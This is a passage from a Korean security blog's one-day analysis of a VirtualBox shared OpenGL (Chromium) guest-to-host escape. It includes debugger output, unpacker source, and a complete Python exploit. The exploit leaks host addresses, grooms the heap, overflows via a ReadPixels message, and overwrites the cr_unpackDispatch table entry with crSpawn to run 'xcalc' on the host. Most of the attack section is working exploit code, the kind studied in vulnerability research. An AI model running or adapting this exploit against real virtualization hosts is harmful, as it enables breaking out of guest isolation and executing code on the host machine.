  BindAttribLocation = 0x7f266d7a9b30 <crServerDispatchBindAttribLocation>, 
  BindBufferARB = 0x7f266d7b2000 <crServerDispatchBindBufferARB>, 
  BindFramebufferEXT = 0x7f266d7aa340 <crServerDispatchBindFramebufferEXT>, 
  BindProgramARB = 0x7f266d7ae1c0 <crServerDispatchBindProgramARB>, 
  BindProgramNV = 0x7f266d7ae230 <crServerDispatchBindProgramNV>, 
  BindRenderbufferEXT = 0x7f266d7aa520 <crServerDispatchBindRenderbufferEXT>, 
  BindTexture = 0x7f266d7a94c0 <crServerDispatchBindTexture>, 
  Bitmap = 0x7f266d79dda0 <crServerDispatchBitmap>, 
  BlendColorEXT = 0x7f266d79de20 <crServerDispatchBlendColorEXT>, 
  BlendEquationEXT = 0x7f266d79de80 <crServerDispatchBlendEquationEXT>, 
  BlendEquationSeparate = 0x7f26a53886e0 <glBlendEquationSeparate>, 
  BlendFunc = 0x7f266d79deb0 <crServerDispatchBlendFunc>, 
  BlendFuncSeparateEXT = 0x7f266d79def0 <crServerDispatchBlendFuncSeparateEXT>, 
  BlitFramebufferEXT = 0x7f266d794030 <crServerDispatchBlitFramebufferEXT>, 
  BoundsInfoCR = 0x7f266d7b20b0 <crServerDispatchBoundsInfoCR>, 
  BufferDataARB = 0x7f266d79df40 <crServerDispatchBufferDataARB>,
pwndbg> p& cr_unpackDispatch.BoundsInfoCR
$3 = (BoundsInfoCRFunc_t *) 0x7f266da94598 <cr_unpackDispatch+216>
pwndbg> hex(216)
+0000 0x0000d8  
pwndbg>

cr_unpackDispatch 기준으로 0xd8 떨어진 곳에

crServerDispatchBoundsInfoCR

함수가 있다.  

 

#include "unpacker.h"
#include "state/cr_statetypes.h"

void crUnpackBoundsInfoCR( void  )
{
        CRrecti bounds;
        GLint len;
        GLuint num_opcodes;
        GLbyte *payload;

        len = READ_DATA( 0, GLint );
        bounds.x1 = READ_DATA( 4, GLint );
        bounds.y1 = READ_DATA( 8, GLint );
        bounds.x2 = READ_DATA( 12, GLint );
        bounds.y2 = READ_DATA( 16, GLint );
        num_opcodes = READ_DATA( 20, GLuint );
        payload = DATA_POINTER( 24, GLbyte );

        cr_unpackDispatch.BoundsInfoCR( &bounds, payload, len, num_opcodes );
        INCR_VAR_PTR();
}

처음에 leak할때 CR_EXTEND_OPCODE 요 오피코드로 메시지를 보내면  

  • unpack → crUnpackExtend → crUnpackExtendGetAttribLocation 로직으로 호출되는 것처럼

 

CR_BOUNDSINFOCR_OPCODE 요 오피코드로 메시지를 보내면 

  • unpack → crUnpackBoundsInfoCR →crServerDispatchBoundsInfoCR 요 로직으로 호출이 된다.

 

위 코드를 보면 crUnpackBoundsInfoCR 함수에서  

  • cr_unpackDispatch.BoundsInfoCR( &bounds, payload, len, num_opcodes )

 

저거를 호출하는데 저게 바로 crServerDispatchBoundsInfoCR 함수이다. 저기서 인자를 잘 조져서 "xcalc" 를 가리키는 포인터와, 이중 포인터를 넣어주면 된다.  

 

crServerDispatchBoundsInfoCR 요 함수는 cr_unpackDispatch+0xd8에 위치해 있다고했다. 그렇다면, 변조한 0xbeefbeef 버퍼의 pData 영역을 cr_unpackDispatch+0xd8 의 주소로 변경시킨다음, hgcm_call(..write_buffer..)를 이용해서 해당 영역(cr_unpackDispatch+0xd8)에 crSpawn함수주소를 넣어주면 된다. 

 

0xbeefbeef 버퍼의 pdata 영역을 저렇게 바꿔준뒤, 

  • hgcm_call(client,SHCRGL_GUEST_FN_WRITE_BUFFER,[0xbeefbeef, 0xfffffff0, 0, crSpawn])

 

hgcm_call write를 이용하여 dispatch+0xd8의 값을 crSpawn으로 바꿔준다. 

 

0xbeefbeef id 값을 가진 버퍼의 pdata 영역이 cr_unpackDispatch+0xd8로 잘 바꼈고, 그 안의 주소는 crSpawn으로 잘 바꼈다. 

 

이제 후에 crSpawn 함수의 두번째 인자인 이중 포인터를 위해서, cr_unpackDispatch+0x40 쯤에 원하는 문제열을 넣어줘야한다. 넣어주는 오프셋은 상관없다. 이것도 동일하게 id를 찾아서 write해주면 된다. 

 

성공적으로 +0x40 정도의 위치에 "xcalc" 가 들어갔다. "xcalc" 문자열은 다음의 명령어로 찾아서 넣어주면 된다. 

 

 

그럼이제 cr_unpackDispatch+0xd8 요부분이 호출되는 로직만 추가해주면 된다. 아까 저 부분을 트리거 시키기 위해서 필요한 opcode를 확인했었다. 따라서 다음과 같아 msg를 구성해주어야 한다. 

def crSpwan_para(xcalc,xcalc_addr):
	msg = ( pack("<III", CR_MESSAGE_OPCODES, 0, 1)
                        + "\x00\x00\x00" + chr(CR_BOUNDSINFOCR_OPCODE)
                        + pack("<IQ",0,"xcalc"문자열 )
			+ pack("<III",0,0,0)
			+ pack("<Q","xcalc"문자열을 담고있는 cr_unpackDispatch+64)
			+ pack("<I",0) )
        return msg

 

위 msg를 서버에 보내게 되면, unpack → crUnpackBoundsInfoCR 이 호출되고, 이 함수안에서 디버깅 해보면 

위와 같이 cr_unpackDispatch함수 기준+0xd8을 호출한다. 이미 우리가 저 부분을 crSpawn으로 변조시켰기 때문에, 익스가 될것이다.  

 

최종 익스코드는 다음과 같다 

import sys, os
from struct import pack, unpack
from pwn import *
print os.path.dirname(__file__)
sys.path.append("./lib")
from chromium import *

def leak_addr(len):
	msg = ( pack("<III", CR_MESSAGE_OPCODES, 0, 1)
			+ "\x00\x00\x00" + chr(CR_EXTEND_OPCODE)
			+ pack("<I", len)
			+ pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE)
			+ pack("<I", 0x42424242) )
	return msg

def for_heapex():
	msg = ( pack("<III", CR_MESSAGE_OPCODES, 0, 1)
			+ '\x00\x00\x00' + chr(CR_READPIXELS_OPCODE)
			+ pack("<II", 0, 0) #header
			+ pack("<II", 0, 0x8) #widht,height
			+ pack("<II", 0x35, 0) 
			+ pack("<II", 0, 0) #stride, alignment
			+ pack("<II", 0, 0) #skipRows, skippixel
			+ pack("<II", 0x1ffffffd, 0x00) #byte_per_rw, row_legnth
			+ pack("<II", 0xdeadbeef,0xffffffff)) #net..
	return msg

def crSpwan_para(xcalc,xcalc_addr):
	msg = ( pack("<III", CR_MESSAGE_OPCODES, 0, 1)
                        + "\x00\x00\x00" + chr(CR_BOUNDSINFOCR_OPCODE)
                        + pack("<IQ",0,xcalc )
			+ pack("<III",0,0,0)
			+ pack("<Q",xcalc_addr)
			+ pack("<I",0) )
        return msg


if __name__ == "__main__":
	try:
		client = hgcm_connect("VBoxSharedCrOpenGL")
		set_version(client)        	
		i=0
		for i in range(0,0xffffffff,4):
			addr = crmsg(client, leak_addr(i))
			leak=u64(addr[8:16])
			if leak&0x00000fff == 0x978:
				break
			

		textl8_addr=u64(addr[8:16])
		print("textl8_addr:: "+hex(textl8_addr))
		cr_server_base=leak+0x22ed88
		VBoxOGLhostcrutil_base=cr_server_base-0x6700-0x544000
		crSpawn_addr=VBoxOGLhostcrutil_base+0x14510
		cr_unpackDispatch_addr=cr_server_base+0xadc0
		print("cr_server:: "+hex(cr_server_base))
		print("VBoxOGLhostcrutil_base:: "+hex(VBoxOGLhostcrutil_base))
		print("crSpawn:: "+hex(crSpawn_addr))
		print("cr_unpackDispatch:: "+hex(cr_unpackDispatch_addr))
		print("cr_unpackDispatch+0xd8:: "+hex(cr_unpackDispatch_addr+0xd8))
		
		buf=[]
		for i in range(0,200):
			buf.append(alloc_buf(client, 0x20, "B"*0x20))
		print("finish 200 buf alloc")
		#print(buf[::2])
		buf=buf[::-1]
		for i in buf[::2]:
			#print("i is :: "+str(i))
			hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [i, 'B'*0x20, 0])
		
		#print("buf[::2] len :: "+len(buf[::2]))
		buf2=[]
		for i in range(len(buf[::2])):
			buf2.append(alloc_buf(client,0x50,"C"*0x50))
			alloc_buf(client,0x20,"D"*0x20)
		for i in buf2[::2]:
			hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [i, 'B'*0x20, 0])
		crmsg(client,for_heapex())

		xcalc_addr=0x7f6265673cfe
		msg2=pack("<IIQ",0xbeefbeef,0xfffffff0,cr_unpackDispatch_addr+0xd8)
		msg3=pack("<Q",crSpawn_addr)
		msg4=pack("<IIQ",0xbeefbeef,0xfffffff0,cr_unpackDispatch_addr+0x40)
		msg5=pack("<Q",0x636c616378)
	
		hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0x30, msg2])
		hgcm_call(client,SHCRGL_GUEST_FN_WRITE_BUFFER,[0xbeefbeef,0xfffffff0,0,msg3])
		hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0x30, msg4])
		hgcm_call(client,SHCRGL_GUEST_FN_WRITE_BUFFER,[0xbeefbeef,0xfffffff0,0,msg5])
		crmsg(client,crSpwan_para(0x636c616378,cr_unpackDispatch_addr+0x40))
		hgcm_disconnect(client)
	except Exception as ex:
		print(ex)

 

 

 

4. 참고문헌


  • 멘토님 강의자료
728x90

'보안 > 원데이 분석' 카테고리의 다른 글

[linux kernel] CVE-2016-0728 분석  (1) 2021.02.25
dact-0.8.42 RCE  (0) 2021.02.08
CVE-2018-3295 분석(2)  (2) 2020.12.31
CVE-2018-3295 분석(1)  (0) 2020.12.31
CVE-2019-2525, CVE-2019-2548(1)  (0) 2020.08.26